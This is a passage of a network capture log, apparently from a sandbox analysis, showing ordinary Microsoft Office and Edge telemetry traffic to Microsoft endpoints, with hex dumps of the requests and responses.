2024-11-16 12:01:41 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: fa67fb9f-101e-0051-031f-3876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120141Z-1866b5c5fbbwlv6nhC1DFWw4bs000000016g000000006584 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-16 12:01:41 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120141Z-16547b76f7fk9g8vhC1DFW825400000003dg00000000btz0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:41 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:41 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120141Z-16547b76f7f67wxlhC1DFWah9w0000000pkg000000006vhe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120141Z-16547b76f7fwvr5dhC1DFW2c940000000pe0000000009fde x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120141Z-1866b5c5fbb2cz68hC1DFW9ytc00000001qg00000000bt6w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49912	52.168.117.170	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731758499353&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11413 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-16 12:01:41 UTC	11413	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 32 3a 30 31 3a 33 39 2e 33 35 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 34 35 33 32 61 64 30 2d 31 34 37 65 2d 34 65 39 62 2d 61 34 64 66 2d 64 35 63 35 37 39 36 31 31 62 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 34 39 36 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-16T12:01:39.352Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"14532ad0-147e-4e9b-a4df-d5c579611b5e","epoch":"1554962777"},"app":{"locale
2024-11-16 12:01:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6f93d8b15e8b42c09387c06dafc4bee7&HASH=6f93&LV=202411&V=4&LU=1731758501370; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 12:01:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c50bf9c1a4ca414e843b5959e0000529; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 12:31:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2017 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 12:01:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120141Z-16547b76f7f76p6chC1DFWctqw0000000pqg000000006y7v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49913	52.168.117.170	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731758499359&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5032 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-16 12:01:41 UTC	5032	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 32 3a 30 31 3a 33 39 2e 33 35 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 34 35 33 32 61 64 30 2d 31 34 37 65 2d 34 65 39 62 2d 61 34 64 66 2d 64 35 63 35 37 39 36 31 31 62 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 34 39 36 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-16T12:01:39.357Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"14532ad0-147e-4e9b-a4df-d5c579611b5e","epoch":"1554962777"},"app":{"locale
2024-11-16 12:01:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9e100e05745b4d72a3fa0232ff32b797&HASH=9e10&LV=202411&V=4&LU=1731758501250; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 12:01:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=832a3a2ae95d4986b4cc4da25ca6c108; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 12:31:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1891 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 12:01:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49918	20.125.209.212	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	1279	OUT	GET /c.gif?rnd=1731758497078&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cda31fbc6f224238912fb2576d832d0f&activityId=cda31fbc6f224238912fb2576d832d0f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0D5F7B803890451EAEC6E948E8F480DB&MUID=19EE44C5987468FE3EE351FC992369A3 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-16 12:01:41 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=19EE44C5987468FE3EE351FC992369A3; domain=.msn.com; expires=Thu, 11-Dec-2025 12:01:41 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=19EE44C5987468FE3EE351FC992369A3; domain=c.msn.com; expires=Thu, 11-Dec-2025 12:01:41 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 12:01:41 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 16-Nov-2024 12:11:41 GMT; path=/; SameSite=None; Secure; Date: Sat, 16 Nov 2024 12:01:40 GMT Connection: close Content-Length: 42
2024-11-16 12:01:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49920	52.168.117.170	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:41 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731758499968&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5284 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1; msnup=
2024-11-16 12:01:41 UTC	5284	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 32 3a 30 31 3a 33 39 2e 39 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 34 35 33 32 61 64 30 2d 31 34 37 65 2d 34 65 39 62 2d 61 34 64 66 2d 64 35 63 35 37 39 36 31 31 62 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 34 39 36 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-16T12:01:39.967Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"14532ad0-147e-4e9b-a4df-d5c579611b5e","epoch":"1554962777"},"app":{"locale
